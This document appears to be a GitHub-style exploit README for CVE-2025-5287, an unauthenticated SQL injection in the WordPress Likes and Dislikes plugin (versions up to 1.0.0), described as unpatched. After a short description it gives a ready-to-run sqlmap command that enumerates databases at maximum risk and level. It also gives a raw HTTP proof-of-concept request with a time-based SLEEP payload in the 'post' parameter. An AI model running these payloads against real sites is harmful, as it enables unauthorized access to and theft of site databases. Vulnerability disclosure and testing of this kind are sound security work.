# 🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection

## 🧠 CVE ID: CVE-2025-5287
> **Discovered by:** Khaled_Alenazi (Nxploited)  
> **Published on:** 27 May, 2025

---

## 📋 Description

The **Likes and Dislikes Plugin** for WordPress is vulnerable to **SQL Injection** through the `post` parameter in all versions **up to and including 1.0.0**.  
Due to **insufficient escaping** and lack of prepared statements, unauthenticated attackers can inject raw SQL into backend queries, leading to **data leakage or manipulation**.

---

## 🧬 Technical Details

- **Vulnerable Parameter:** `post`
- **Vulnerability Type:** SQL Injection (Boolean-based and Time-based)
- **HTTP Method:** POST
- **Affected Endpoint:** `/wp-admin/admin-ajax.php`
- **Patch Status:** ❌ Not Fixed
- **Required Privileges:** None (Unauthenticated)
- **CVSS Score:** 9.3 (High)
- **OWASP Top 10:** A1 - Injection

---

## 💥 Exploitation

### ✅ SQLMap Command (Time-based Blind SQLi):
```bash
sqlmap -u "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=my_likes_dislikes_action&post=1&state=like" \
--method POST --risk 3 --level 5 --batch --time-sec=5 --dbs
```
> This command confirms the injection point and enumerates databases using a time-based technique.

### 🧪 POC Payload (Manual - Time-based):
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: nxploit.ddev.site
Content-Type: application/x-www-form-urlencoded
Connection: close

action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a)&state=like
```
